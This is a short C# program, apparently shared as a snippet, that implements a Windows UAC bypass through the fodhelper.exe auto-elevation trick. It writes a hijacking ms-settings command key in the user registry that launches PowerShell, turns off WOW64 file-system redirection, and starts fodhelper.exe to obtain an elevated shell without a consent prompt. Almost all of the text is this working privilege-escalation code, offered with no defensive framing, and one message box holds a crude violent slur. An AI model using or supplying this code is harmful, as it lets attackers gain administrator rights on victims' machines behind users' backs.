C#:
{
class Program
{
[DllImport("kernel32.dll", EntryPoint = "Wow64EnableWow64FsRedirection")]
public static extern bool EnableWow64FSRedirection(bool enable);
#region EntryPoint
[STAThread]
static void Main(string[] args)
{
if (IsAdministrator()) MessageBox.Show("Application running in HP-Mode.");
else { MessageBox.Show("Trying to rape dat bitch."); UACBypass(); }
}
#endregion
#region [PRIVATE]Methods
private static bool IsAdministrator()
{
try { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); }
catch { return false; }
}
private static void UACBypass()
{
using (RegistryKey subKey = Registry.CurrentUser.CreateSubKey(@"Software\Classes\ms-settings\Shell\Open\command"))
{
subKey?.SetValue("DelegateExecute", string.Empty, RegistryValueKind.String);
subKey?.SetValue(string.Empty, "cmd /c start powershell.exe", RegistryValueKind.String);
}
EnableWow64FSRedirection(false); Process.Start(@"C:\Windows\System32\fodhelper.exe"); EnableWow64FSRedirection(true); //Момент истины
}
#endregion
}
}